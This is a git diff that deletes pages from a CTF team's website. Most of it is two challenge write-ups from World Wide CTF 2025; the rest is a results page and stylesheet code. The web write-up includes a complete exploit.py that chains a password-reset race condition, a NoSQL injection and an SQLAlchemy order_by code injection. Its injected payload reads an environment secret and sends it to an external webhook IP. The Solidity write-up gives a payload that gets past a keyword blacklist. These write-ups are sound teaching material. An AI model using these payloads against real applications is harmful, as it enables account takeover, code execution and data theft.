-        password = request.form.get("password", "").strip()
-        if not re.fullmatch(r'^[\w@#$%^&+=!]{1,64}$', password):
-            error = "Invalid password format."
-        else:
-            user = mongo_users.find_one({"username": username, "password": password})
-            if user:
-                session["email"] = user["email"]
-                log_audit_event(username, "login_success")
-                return redirect("/")
-            log_audit_event(username, "login_failure")
-            error = "Invalid credentials."
-    return render_template("login.html", error=error)
-
-# Allow users to change their email address
-@app.route("/", methods=["GET", "POST"])
-def me():
-    if "email" not in session:
-        return redirect("/login")
-    current_email = session["email"]
-    message = None
-    if request.method == "POST":
-        # Validate email
-        new_email = request.get_json().get("new_email") if request.is_json else request.form.get("new_email")
-        if mongo_users.find_one({"email": {"$eq": new_email}}):
-            message = "That email is already in use."
-        else:
-            # Update email address
-            result = mongo_users.update_one({"email": current_email}, {"$set": {"email": new_email}})
-            if result.modified_count == 1:
-                session["email"] = new_email
-                message = "Email updated successfully"
-            else:
-                message = "Failed to update email."
-    return render_template("me.html", email=session["email"], message=message)
-
-# Administrators can view the audit logs
-@app.route("/audit_logs", methods=["GET"])
-def audit_logs():
-    if "email" not in session:
-        return redirect("/login")
-    user = mongo_users.find_one({"email": session["email"]})
-    if not user or user.get("username") != "admin":
-        return "Access denied", 403
-    order_by = request.args.get("order_by", "timestamp")
-    if not any(order_by.startswith(col) for col in ['username', 'action', 'timestamp']):
-        order_by = "timestamp"
-    SearchBase.logs = relationship("AuditLog", order_by=f'AuditLog.{order_by}')
-    db = SessionLocal()
-    bases = db.query(SearchBase).all()
-    logs = [log for base in bases for log in base.logs]
-    db.close()
-    return render_template("audit_logs.html", logs=logs)
-
-# Users can request a new password
-@app.route("/reset_request", methods=["GET", "POST"])
-def reset_request():
-    message = None
-    if request.method == "POST":
-        # Validate username
-        username = request.form.get("username", "").strip()
-        if not username:
-            message = "Username is required."
-        elif not username.isalnum():
-            message = "Invalid username"
-        elif 'admin' in username.lower():
-            message = "Reset not allowed for admin"
-        # Get user
-        elif (user := mongo_users.find_one({"username": username})):
-            conn = get_db()
-            cursor = conn.cursor()
-            try:
-                # Remove all old entries
-                cursor.execute("DELETE FROM reset_tokens WHERE username = %s", (username,))
-                conn.commit()
-                # Create new entry
-                cursor.execute("INSERT INTO reset_tokens (username) VALUES (%s)", (username,))
-                conn.commit()
-                # Set new token
-                cursor.execute("UPDATE reset_tokens SET token = %s WHERE username = %s", (get_random_token(), username))
-                conn.commit()
-                message = "Reset email sent." # Backend job sends the reset email
-            except:
-                message = "Unhandled failure."
-            finally:
-                cursor.close()
-        else:
-            message = "User not found."
-        return render_template("result.html", message=message)
-    return render_template("reset_request.html")
-
-# Users can set a new password with a valid reset token
-@app.route("/reset", methods=["GET", "POST"])
-def reset():
-    message = None
-    if request.method == "POST":
-        # Validate password and token
-        token = request.form.get("token", "")
-        new_password = request.form.get("new_password", "")
-        if not re.fullmatch(r'^[\w@#$%^&+=!]{6,64}$', new_password):
-            message = "Invalid password format."
-        elif not token or len(token) < 16:
-            message = "Invalid token format."
-        else:
-            # Get user for token
-            conn = get_db()
-            cursor = conn.cursor(dictionary=True)
-            cursor.execute("SELECT * FROM reset_tokens WHERE token = %s", (token,))
-            row = cursor.fetchone()
-            cursor.close()
-            if row:
-                # Reset user password
-                username = row["username"].strip()
-                mongo_users.update_one({"username": username}, {"$set": {"password": new_password}})
-                cursor = conn.cursor()
-                cursor.execute("DELETE FROM reset_tokens WHERE username = %s", (username,))
-                conn.commit()
-                cursor.close()
-                message = f"Password updated"
-            else:
-                message = "Invalid token."
-        return render_template("result.html", message=message)
-    return render_template("reset.html")
-
-

We have some cool endpoints:

-
    -
  1. /: Main route a route to change your email address while logged in.
  2. -
  3. /login: Pretty clear.
  4. -
  5. /audit_logs: An admin endpoint to view all audit logs.
  6. -
  7. /reset_request: Reset password request by username.
  8. -
  9. /reset: Resets the password using the username and token.
  10. -
-

I think it’s pretty straightforward, don’t you?

- -

Solution - - - - - - - - -

- -

The first step is to search for the flag position. In this case, it is in an env variable.

-
  web:
-    build: .
-    ports:
-      - "5000:5000"
-    depends_on:
-      - mongo
-      - mysql
-    environment:
-      - FLASK_ENV=production
-      - FLAG=wwf{not_the_flag}
-
-

Okay, so the goal is to get RCE. The first thing to do is to check for SSTI, but that’s not the case here.

-

Now, the most difficult part is checking all the code. The most suspicious things are:

-
    -
  1. NoSQL injection in the reset email form.
  2. -
-
new_email = request.get_json().get("new_email") if request.is_json else request.form.get("new_email")
-
-

The line is bad because if we pass the header JSON, it passes all the objects, not just a string.

-
    -
  1. It’s a sort of code injection in the SQLAlchemy function in the audit logs endpoint.
  2. -
-
    if not any(order_by.startswith(col) for col in ['username', 'action', 'timestamp']):
-        order_by = "timestamp"
-    SearchBase.logs = relationship("AuditLog", order_by=f'AuditLog.{order_by}') # Not very good
-    db = SessionLocal()
-    bases = db.query(SearchBase).all()
-
-

Okay, nice. We have a code injection. Is that all? No, because to get access to the endpoint, we have to become an admin. We don’t have a login for the user account, so it’s pretty useless.

-

After much trial and error, I discovered a cool race condition between the /reset_request and /reset endpoints.

-
# Users can request a new password
-@app.route("/reset_request", methods=["GET", "POST"])
-def reset_request():
-    message = None
-    if request.method == "POST":
-        # Validate username
-        username = request.form.get("username", "").strip()
-        if not username:
-            message = "Username is required."
-        elif not username.isalnum():
-            message = "Invalid username"
-        elif 'admin' in username.lower():
-            message = "Reset not allowed for admin"
-        # Get user
-        elif (user := mongo_users.find_one({"username": username})):
-            conn = get_db()
-            cursor = conn.cursor()
-            try:
-                # Remove all old entries
-                cursor.execute("DELETE FROM reset_tokens WHERE username = %s", (username,))
-                conn.commit()
-                # Create new entry
-                cursor.execute("INSERT INTO reset_tokens (username) VALUES (%s)", (username,))
-                conn.commit()
-                # Set new token
-                cursor.execute("UPDATE reset_tokens SET token = %s WHERE username = %s", (get_random_token(), username))
-                conn.commit()
-                message = "Reset email sent." # Backend job sends the reset email
-            except:
-                message = "Unhandled failure."
-            finally:
-                cursor.close()
-        else:
-            message = "User not found."
-        return render_template("result.html", message=message)
-    return render_template("reset_request.html")
-
-

When we make a reset request, the server makes three different commits, one for each query. In this case, it’s very bad because there’s a moment when the token is equal to an empty string. Especially, the database is set to CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci, so spaces are trimmed from the query.

-

We can basically make a /reset request and, at the same time, make a /reset_request. This allows us to change the password of ONLY the user (because the admin is blocked) and log in.

-

Okay, but how can we log in as an admin? Easy. Remember the NoSQLi we can use to bypass the admin check in the /audit_logs endpoint with a basic logic injection: { "$gt": ""} (This is a possible payload.) We can inject the payload thanks to the email change.

-

Now, if we try to make a GET request to /audit_logs, we have access, and we can make the code injections.

-
# filename: exploit.py
-#!/usr/bin/python3
-import random
-import string
-import threading
-import urllib.parse
-import requests
-
-BASE_URL = "https://{instance_id}.chall.wwctf.com"
-WEBHOOK_URL = "http://178.63.67.153/eb3102da-b96c-48b5-92c9-d59301574330/"
-
-s = requests.Session()
-
-
-payload_spaces = " " * 32
-token_field   = urllib.parse.quote_plus(payload_spaces)
-new_pass      = "cookie"
-
-def spam_reset_request():
-    while True:
-        s.post(f"{BASE_URL}/reset_request",
-                      data={"username": "user"},
-                      timeout=3)
-
-def race_reset():
-    while True:
-        data = {"token": payload_spaces, "new_password": new_pass}
-        r = s.post(f"{BASE_URL}/reset", data=data, timeout=3)
-        if "Password updated" in r.text:
-            print("[+] Race WON!")
-            break
-
-def login():
-    data = {"username": "user", "password": new_pass}
-    r = s.post(f"{BASE_URL}/login", data=data)
-    if "New Email" in r.text:
-        print("[+] Logged in successfully!")
-    else:
-        print("[-] Failed to log in.")
-
-def update_email():
-    data = {"new_email":  { "$gt": "" }}
-    r = s.post(f"{BASE_URL}", json=data)
-    if "Email updated successfully" in r.text:
-        print("[+] Email updated successfully!")
-    else:
-        print("[-] Failed to update email.")
-
-
-def audit_logs():
-    payload = f"(__import__('urllib.request', fromlist=['urlopen']).urlopen('{WEBHOOK_URL}?f='+(__import__('os').getenv('FLAG','NF'))))"
-    r = s.get(f"{BASE_URL}/audit_logs",params={"order_by": f"timestamp.desc(),{payload}"})
-    if "Access denied" in r.text:
-        print("[-] Access denied to audit logs.")
-    else:
-        print("[+] Audit logs accessed successfully!")
-        print(r.text)
-
-def main():
-    threading.Thread(target=spam_reset_request, daemon=True).start()
-    race_reset()
-    login()
-    update_email()
-    audit_logs()
-
-
-
-if __name__ == "__main__":
-	main()
-
-
-# goodluck by @akiidjk
-
-
$ flag:  wwf{Ju57_G1v3_mE_S0m3_5p4ce}
-
-

Author: akiidjk

- -

-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/wwfctf2025/index.html b/public/writeups/wwfctf2025/index.html deleted file mode 100644 index 71cbdd9e..00000000 --- a/public/writeups/wwfctf2025/index.html +++ /dev/null @@ -1,344 +0,0 @@ - - - - - - - - - - - Word Wide Flag CTF 2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Web
- - -
Misc
- - -
Forensics
- - -
Crypto
- - -
Pwn
- - -
Reversing
- - -
Blockchain
- - -
- -
-

- Last edit: Jul 29, 2025 -

-
- - -
- - - -
- - - - - - -

World Wide CTF 2025

- - -

Description

- -

Hack, solve, and conquer — a CTF designed to challenge minds of all levels. -World Wide Flags is back this year with World Wide CTF 2025!

-

More Prizes, More Categories, and Much More Fun!

- - -

Performance Summary

- -
    -
  • CTFs: 20/57
  • -
  • Total points: 6537
  • -
  • Position: 24/850
  • -
  • Rating points: 12.510
  • -
- -

Writeups

- - -

Web & Web3

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/wwfctf2025/solidi/index.html b/public/writeups/wwfctf2025/solidi/index.html deleted file mode 100644 index d89cd549..00000000 --- a/public/writeups/wwfctf2025/solidi/index.html +++ /dev/null @@ -1,245 +0,0 @@ - - - - - - - - - - - - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - -
- -
- -
-

- Last edit: Jan 1, 1 -

-
- - -
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/writeups/wwfctf2025/solidity-jail1/index.html b/public/writeups/wwfctf2025/solidity-jail1/index.html deleted file mode 100644 index 66e54d84..00000000 --- a/public/writeups/wwfctf2025/solidity-jail1/index.html +++ /dev/null @@ -1,514 +0,0 @@ - - - - - - - - - - - Solidity Jail 1 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
Blockchain
- - -
Solidity
- - -
460 points
- - -
10 solves
- - -
zeptoide
- - -
- -
-

- Last edit: Aug 25, 2025 -

-
- - -
- - - -
- - - - - -

Solidity Jail 1

-

Description: Bash Jail? Boring. PyJail? Too Common.

-

Introducing for the first time, Solidity Jail! -Make a contract to read the flag!

- -

Introduction

- -

Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat.

-

In this challenge, we interacted with a remote server that executed Solidity function code we submitted. The goal? Extract a flag from another contract on the same blockchain. But there was a twist: a blacklist carefully crafted to block obvious approaches.

-

Navigating this puzzle felt like exploring the EVM itself. Dead ends and misleading paths were everywhere. Yet the final solution emerged smoothly, clever in its simplicity, proving that even the trickiest Solidity jail can be cracked with the right insight.

- -

Analysis of the challange

- -

First off, let’s scope out the setup. We were provided with two key files:

-
    -
  • Jail.sol: The target contract, named in the solidity as BytecodeRunner, which features a public variable called flag and a run() function.
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract BytecodeRunner {
-
-    string public flag = "wwf{REDACTED}";
-
-    function run(bytes memory _bytecode, bytes32 _salt) public
-    returns (bool success, bytes memory result)
-    {
-        address newContract;
-        assembly {
-            newContract := create2(
-                0,
-                add(_bytecode, 0x20),
-                mload(_bytecode),
-                _salt
-            )
-            if iszero(newContract) {
-                revert(0, 0)
-            }
-        }
-
-        bytes memory callData = abi.encodeWithSelector(
-            bytes4(keccak256("main()"))
-        );
-
-        (success, result) = newContract.call(callData);
-        require(success, "Execution of main() failed.");
-    }
-}
-
-

As you can see, the run() function takes our bytecode, deploys it using create2, and then calls our main() function.

-
    -
  • jailTalk.py: The server-side helper. It wraps whatever we submit inside a Solution contract, compiles it, and sends the resulting bytecode to the run function of BytecodeRunner.
  • -
-

-#!/usr/local/bin/python
-import signal
-from solcx import compile_standard
-import os
-from web3 import Web3
-import string
-import requests
-from urllib.parse import urlparse
-
-contr_add = os.environ.get("CONTRACT_ADDDR")
-rpc_url = os.environ.get("RPC_URL")
-
-try:
-    parsed = urlparse(rpc_url)
-    resp = requests.get(f"{parsed.scheme}://{parsed.netloc}")
-    if resp.text != "ok":
-        print("Contact admins challenge not working...")
-        exit()
-except Exception as e:
-    print("Contact admins challenge not working...")
-    exit()
-
-
-print("Enter the body of main() (end with three blank lines):")
-lines = []
-empty_count = 0
-while True:
-    try:
-        line = input()
-    except EOFError:
-        break
-    if line.strip() == "":
-        empty_count += 1
-    else:
-        empty_count = 0
-    if empty_count >= 3:
-        lines = lines[:-2]
-        break
-    lines.append(line)
-
-body = "\n".join(f"        {l}" for l in lines)
-
-if not all(ch in string.printable for ch in body):
-    raise ValueError("Non-printable characters detected in contract.")
-
-blacklist = [
-    "flag",
-    "transfer",
-    "address",
-    "this",
-    "block",
-    "tx",
-    "origin",
-    "gas",
-    "fallback",
-    "receive",
-    "selfdestruct",
-    "suicide"
-]
-if any(banned in body for banned in blacklist):
-    raise ValueError(f"Blacklisted string found in contract.")
-
-
-source = f"""// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Solution {{
-    function main() external returns (string memory) {{
-{body}
-    }}
-}}
-"""
-
-print("Final contract with inserted main() body:")
-print(source)
-
-compiled = compile_standard(
-    {
-        "language": "Solidity",
-        "sources": {"Solution.sol": {"content": source}},
-        "settings": {
-            "outputSelection": {
-                "*": {
-                    "*": ["evm.bytecode.object"]
-                }
-            }
-        },
-    },
-    solc_version="0.8.20",
-)
-
-
-bytecode_hex = "0x" + compiled["contracts"]["Solution.sol"]["Solution"]["evm"]["bytecode"]["object"]
-salt_hex = "0x" + os.urandom(32).hex()
-
-web3 = Web3(Web3.HTTPProvider(rpc_url))
-
-contr_abi = [{"inputs":[],"name":"flag","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"_bytecode","type":"bytes"},{"internalType":"bytes32","name":"_salt","type":"bytes32"}],"name":"run","outputs":[{"internalType":"bool","name":"success","type":"bool"},{"internalType":"bytes","name":"result","type":"bytes"}],"stateMutability":"nonpayable","type":"function"}]
-contr = web3.eth.contract(address=contr_add, abi=contr_abi)
-
-bytecode_bytes = Web3.to_bytes(hexstr=bytecode_hex)
-salt_bytes = Web3.to_bytes(hexstr=salt_hex)
-print(contr.functions.run(bytecode_bytes, salt_bytes).call())
-
-
-

Here, the most crucial part is obv the blacklist.

-
-

This blacklist effectively blocks the most straightforward exploits:

-
    -
  • flag: Directly calling target.flag() is prohibited.
  • -
  • address: We cannot declare an address variable to hold the target contract’s location.
  • -
  • gas: Access to the gas() opcode is restricted, which is often needed for low-level calls.
  • -
  • this: Retrieving our own contract’s address is also disallowed.
  • -
-

The goal is clear: invoke the flag() function on the BytecodeRunner contract.
-Since main() is executed by BytecodeRunner, the contract’s address is simply msg.sender.
-The challenge comes down to circumventing these blacklist limitations basically.

- -

My Solve

- -

Looking at other write-ups for this challenge, it’s clear that there were a variety of approaches to solving it. Some solutions focused heavily on the Python side, manipulating the server-side logic (like sub-stringing the “flag” keyword), while others leaned more on Solidity, crafting intricate contracts to bypass restrictions (like the definition of an interface with the same function name and type signature, then cast the contract’s address to that interface). In my case, I believe I tackled the challenge using the simplest and most straightforward method possible. In fact:

-

I executed the function via a low-level call, specifically using the .call() method on an address and supplying the calldata manually. But how can you calculate a calldata?

-

There are multiple techniques to construct the calldata in Solidity for a function invocation. Common methods include:

-
    -
  • abi.encodeWithSignature("functionName(types...)")
  • -
  • abi.encodeCall(ContractName.functionName, (args...))
  • -
  • abi.encodeWithSelector(bytes4Selector, (args...))
  • -
-

The first two methods rely on providing the function name as a string, which is explicitly blacklisted, so we can’t use them. Therefore, using the last one: abi.encodeWithSelector, it allows us to bypass this restriction using a function selector.

-

A function selector is derived as the first 4 bytes of the Keccak-256 hash of its canonical signature -> $ \text{bytes4}(\text{keccak256}("functionName(inputTypes)")) $. In our case flag() has no input types, so it will be empty.

-

The selector for flag() is 0x890eba68. I used Foundry’s cast sig command to compute this easily.

-

We also need to bypass the restriction on using the address keyword. Because the main() function is executed by the target contract itself, its address is inherently available via msg.sender. This removes the necessity of defining a separate address variable. By combining the appropriate function selector with msg.sender as the destination, a conventional low-level .call() invocation suffices to execute the target function, thereby resolving the challenge.

-

The Payload:

-
(bool ok, bytes memory res) = msg.sender.staticcall(
-    abi.encodeWithSelector(0x890eba68)
-);
-require(ok, "failed");
-return string(res);
-
-
$ flag:  wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y}
-
-

Author: galexela

- -

-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/resources/_gen/assets/scss/core.scss_360d2f7675479a85d2c2e14a08a38b02.content b/resources/_gen/assets/scss/core.scss_360d2f7675479a85d2c2e14a08a38b02.content deleted file mode 100644 index ed969394..00000000 --- a/resources/_gen/assets/scss/core.scss_360d2f7675479a85d2c2e14a08a38b02.content +++ /dev/null @@ -1,1576 +0,0 @@ -@charset "UTF-8"; -/*! -Pure v2.1.0 -Copyright 2013 Yahoo! -Licensed under the BSD License. -https://github.com/pure-css/pure/blob/master/LICENSE -*/ -/*! -normalize.css v | MIT License | git.io/normalize -Copyright (c) Nicolas Gallagher and Jonathan Neal -*/ -/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ -/* Document - ========================================================================== */ -/** - * 1. Correct the line height in all browsers. - * 2. Prevent adjustments of font size after orientation changes in iOS. - */ -html { - line-height: 1.15; - /* 1 */ - -webkit-text-size-adjust: 100%; - /* 2 */ } - -/* Sections - ========================================================================== */ -/** - * Remove the margin in all browsers. - */ -body { - margin: 0; } - -/** - * Render the `main` element consistently in IE. - */ -main { - display: block; } - -/** - * Correct the font size and margin on `h1` elements within `section` and - * `article` contexts in Chrome, Firefox, and Safari. - */ -h1 { - font-size: 2em; - margin: 0.67em 0; } - -/* Grouping content - ========================================================================== */ -/** - * 1. Add the correct box sizing in Firefox. - * 2. Show the overflow in Edge and IE. - */ -hr { - -webkit-box-sizing: content-box; - box-sizing: content-box; - /* 1 */ - height: 0; - /* 1 */ - overflow: visible; - /* 2 */ } - -/** - * 1. Correct the inheritance and scaling of font size in all browsers. - * 2. Correct the odd `em` font sizing in all browsers. - */ -pre { - font-family: monospace, monospace; - /* 1 */ - font-size: 1em; - /* 2 */ } - -/* Text-level semantics - ========================================================================== */ -/** - * Remove the gray background on active links in IE 10. - */ -a { - background-color: transparent; } - -/** - * 1. Remove the bottom border in Chrome 57- - * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. - */ -abbr[title] { - border-bottom: none; - /* 1 */ - text-decoration: underline; - /* 2 */ - -webkit-text-decoration: underline dotted; - text-decoration: underline dotted; - /* 2 */ } - -/** - * Add the correct font weight in Chrome, Edge, and Safari. - */ -b, strong { - font-weight: bolder; } - -/** - * 1. Correct the inheritance and scaling of font size in all browsers. - * 2. Correct the odd `em` font sizing in all browsers. - */ -code, kbd, samp { - font-family: monospace, monospace; - /* 1 */ - font-size: 1em; - /* 2 */ } - -/** - * Add the correct font size in all browsers. - */ -small { - font-size: 80%; } - -/** - * Prevent `sub` and `sup` elements from affecting the line height in - * all browsers. - */ -sub, sup { - font-size: 75%; - line-height: 0; - position: relative; - vertical-align: baseline; } - -sub { - bottom: -0.25em; } - -sup { - top: -0.5em; } - -/* Embedded content - ========================================================================== */ -/** - * Remove the border on images inside links in IE 10. - */ -img { - border-style: none; } - -/* Forms - ========================================================================== */ -/** - * 1. Change the font styles in all browsers. - * 2. Remove the margin in Firefox and Safari. - */ -button, input, optgroup, select, textarea { - font-family: inherit; - /* 1 */ - font-size: 100%; - /* 1 */ - line-height: 1.15; - /* 1 */ - margin: 0; - /* 2 */ } - -/** - * Show the overflow in IE. - * 1. Show the overflow in Edge. - */ -button, input { - /* 1 */ - overflow: visible; } - -/** - * Remove the inheritance of text transform in Edge, Firefox, and IE. - * 1. Remove the inheritance of text transform in Firefox. - */ -button, select { - /* 1 */ - text-transform: none; } - -/** - * Correct the inability to style clickable types in iOS and Safari. - */ -button, [type="button"], [type="reset"], [type="submit"] { - -webkit-appearance: button; } - -/** - * Remove the inner border and padding in Firefox. - */ -button::-moz-focus-inner, [type="button"]::-moz-focus-inner, [type="reset"]::-moz-focus-inner, [type="submit"]::-moz-focus-inner { - border-style: none; - padding: 0; } - -/** - * Restore the focus styles unset by the previous rule. - */ -button:-moz-focusring, [type="button"]:-moz-focusring, [type="reset"]:-moz-focusring, [type="submit"]:-moz-focusring { - outline: 1px dotted ButtonText; } - -/** - * Correct the padding in Firefox. - */ -fieldset { - padding: 0.35em 0.75em 0.625em; } - -/** - * 1. Correct the text wrapping in Edge and IE. - * 2. Correct the color inheritance from `fieldset` elements in IE. - * 3. Remove the padding so developers are not caught out when they zero out - * `fieldset` elements in all browsers. - */ -legend { - -webkit-box-sizing: border-box; - box-sizing: border-box; - /* 1 */ - color: inherit; - /* 2 */ - display: table; - /* 1 */ - max-width: 100%; - /* 1 */ - padding: 0; - /* 3 */ - white-space: normal; - /* 1 */ } - -/** - * Add the correct vertical alignment in Chrome, Firefox, and Opera. - */ -progress { - vertical-align: baseline; } - -/** - * Remove the default vertical scrollbar in IE 10+. - */ -textarea { - overflow: auto; } - -/** - * 1. Add the correct box sizing in IE 10. - * 2. Remove the padding in IE 10. - */ -[type="checkbox"], [type="radio"] { - -webkit-box-sizing: border-box; - box-sizing: border-box; - /* 1 */ - padding: 0; - /* 2 */ } - -/** - * Correct the cursor style of increment and decrement buttons in Chrome. - */ -[type="number"]::-webkit-inner-spin-button, [type="number"]::-webkit-outer-spin-button { - height: auto; } - -/** - * 1. Correct the odd appearance in Chrome and Safari. - * 2. Correct the outline style in Safari. - */ -[type="search"] { - -webkit-appearance: textfield; - /* 1 */ - outline-offset: -2px; - /* 2 */ } - [type="search"]::-webkit-search-decoration { - -webkit-appearance: none; } - -/** - * Remove the inner padding in Chrome and Safari on macOS. - */ -/** - * 1. Correct the inability to style clickable types in iOS and Safari. - * 2. Change font properties to `inherit` in Safari. - */ -::-webkit-file-upload-button { - -webkit-appearance: button; - /* 1 */ - font: inherit; - /* 2 */ } - -/* Interactive - ========================================================================== */ -/* - * Add the correct display in Edge, IE 10+, and Firefox. - */ -details { - display: block; } - -/* - * Add the correct display in all browsers. - */ -summary { - display: list-item; } - -/* Misc - ========================================================================== */ -/** - * Add the correct display in IE 10+. - */ -template, [hidden] { - display: none; } - -/** - * Add the correct display in IE 10. - */ -/*csslint important:false*/ -/* ========================================================================== - Pure Base Extras - ========================================================================== */ -/** - * Extra rules that Pure adds on top of Normalize.css - */ -html { - font-family: sans-serif; } - -/** - * Always hide an element when it has the `hidden` HTML attribute. - */ -.hidden, [hidden] { - display: none !important; } - -/** - * Add this class to an image to make it fit within it's fluid parent wrapper while maintaining - * aspect ratio. - */ -.pure-img { - max-width: 100%; - height: auto; - display: block; } - -html[data-theme="light"] { - --color-text: #171717; - --color-text-secondary: #737373; - --color-text-footer: #737373; - --color-text-mark: #171717; - --color-border: #d4d4d4; - --color-border-collapsible-menu: #e5e5e5; - --color-background: #fff; - --color-background-hover: #f7f7f7; - --color-background-overlay: #ededed; - --color-background-inline-code: #f5f5f5; - --color-background-card: #fff; - --color-background-mark: #ffd70e; - --color-link: #2563eb; - --color-navbar-item-inactive: #a3a3a3; - --color-navbar-item-active: #171717; - --color-navbar-item-in-section: #525252; } - -html[data-theme="dark"] { - --color-text: #ededed; - --color-text-secondary: #8b8b8b; - --color-text-footer: #a3a3a3; - --color-text-mark: #171717; - --color-border: #737373; - --color-border-collapsible-menu: #636363; - --color-background: #333333; - --color-background-hover: #525252; - --color-background-overlay: #404040; - --color-background-inline-code: #525252; - --color-background-card: #404040; - --color-background-mark: #ffd70e; - --color-link: #93c5fd; - --color-navbar-item-inactive: #a3a3a3; - --color-navbar-item-active: #f5f5f5; - --color-navbar-item-in-section: #dddddd; } - -html { - color: var(--color-text); - background: var(--color-background); - font-size: 16px; } - -a { - color: var(--color-link); - text-decoration: none; } - -html, -button, -input, -select, -textarea, -.pure-g [class*="pure-u"] { - font-family: system-ui, -apple-system, segoe ui, Roboto, Helvetica, Arial, sans-serif, apple color emoji, segoe ui emoji; } - -code, -kbd, -pre { - font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, liberation mono, courier new, monospace; } - -body { - margin-left: auto; - margin-right: auto; - padding: 1.5rem; } - -h1, -h2, -h3, -h4, -h5, -h6 { - font-weight: 700; - margin-top: 2rem; - margin-bottom: 1rem; } - -h1 { - font-size: 1.5rem; - /* 24px */ - line-height: 2rem; - /* 32px */ } - -h2 { - font-size: 1.375rem; - /* 22px */ - line-height: 1.875rem; - /* 30px */ } - -h3 { - font-size: 1.25rem; - /* 20px */ - line-height: 1.75rem; - /* 28px */ } - -h4 { - font-size: 1.125rem; - /* 18px */ - line-height: 1.75rem; - /* 28px */ } - -h5 { - font-size: 1rem; - /* 16px */ - line-height: 1.5rem; - /* 24px */ } - -h6 { - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ } - -figure { - margin: 0; } - -img { - max-width: 100%; - border-radius: 3px; } - -input { - background-color: var(--color-background); - color: var(--color-text); - border: none; } - -mark { - background-color: var(--color-background-mark); - color: var(--color-text-mark); } - -details > summary { - cursor: pointer; } - -details[open] > summary { - cursor: pointer; } - -.content-margin { - margin-top: 2rem; - margin-bottom: 2rem; } - -.hidden { - display: none; } - -@media screen and (min-width: 35.5rem) { - body { - width: 100%; } } - -@media screen and (min-width: 48rem) { - body { - width: 80%; } } - -@media screen and (min-width: 64rem) { - body { - width: 55%; } } - -@media screen and (min-width: 80rem) { - body { - width: 55%; } } - -@media screen and (min-width: 120rem) { - body { - width: 55%; } } - -@font-face { - font-family: "JetBrainsMonoNerd"; - src: url("/fonts/JetBrainsMonoNLNerdFont-Regular.ttf") format("truetype"); - font-weight: normal; - font-style: normal; } - -h1, -h2, -h3, -h4, -h5, -h6 { - font-family: "JetBrainsMonoNerd", sans-serif; } - -.badge { - background-color: #9e8c6c; - color: white; - padding: 5px 10px; - border-radius: 12px; - font-size: 0.8em; - font-weight: 200; - font-family: "JetBrainsMonoNerd", sans-serif; - display: inline-block; - margin-right: 5px; - margin-top: 5px; } - -.date { - padding-top: 6px; - font-family: "JetBrainsMonoNerd", sans-serif; - font-size: 0.8em; } - -.icon_contacts { - list-style: none; - margin: 0 10px; } - -.members-list { - display: flex; - flex-wrap: wrap; } - -.card-members { - display: flex; - width: calc(45% - 12px); - margin: 16px auto; - max-height: 24hv; - max-width: 56vh; - border-radius: 12px; - background-color: #9e8c6c00; - border: #292929 dashed 4px; } - -@media (max-width: 1350px) { - .card-members { - width: 100%; - margin: 15px auto; } - .members-list { - flex-direction: column; - align-items: center; } - .div-text { - margin-right: auto; } } - -.content-container { - width: 100%; - display: flex; - margin: 0, auto; - justify-content: space-between; } - -.div-img-members { - padding: 10px; - margin: 0px; - display: inline-block; - min-width: 30%; - position: relative; } - -.badge-image { - position: absolute; - top: 14px; - right: 14px; - width: 25px; - border-radius: 50%; } - -.name-members { - margin: 14px 0 0 0; - width: 100%; - display: inline-block; } - -.tag-members { - display: inline-block; - margin: 0px; - padding: 0px; - font-weight: bold; - text-decoration: underline; } - -.div-text { - width: 100%; - margin-right: auto; } - -.div-img-members { - display: inline-block; } - -.tag-members:hover { - color: #39e6ec; - cursor: pointer; } - -.tag-school { - display: inline-block; - margin: 0px; - padding: 4px; - padding-left: 0; - opacity: 0.7; } - -.categories-container { - margin-left: auto; - padding: 8px; - display: flex; - flex-direction: column; } - -.categories-members { - padding: 2px 8px; - font-size: 12px; - display: inline-block; - margin: 10px auto 0px 0px; - border-radius: 6px; - color: white; } - -.categories-color-web { - background-color: #8bbada; } - -.categories-color-pwn { - background-color: #e74c3c; } - -.categories-color-crypto { - background-color: #219b54; } - -.categories-color-rev { - background-color: #19703d; } - -.categories-color-misc { - background-color: #d6d318; } - -.categories-color-forensic { - background-color: #f39c12; } - -.categories-color-osint { - background-color: #8e44ad; } - -.categories-color-block { - background-color: #8f22ce; } - -.categories-color-netw { - background-color: #16384e; } - -.nftImage { - width: 200%; - height: auto; - border-radius: 12px; } - -.spinner { - border: 4px solid rgba(0, 0, 0, 0.1); - border-radius: 50%; - border-top: 4px solid #D4B783; - width: 40px; - height: 40px; - animation: spin 1s 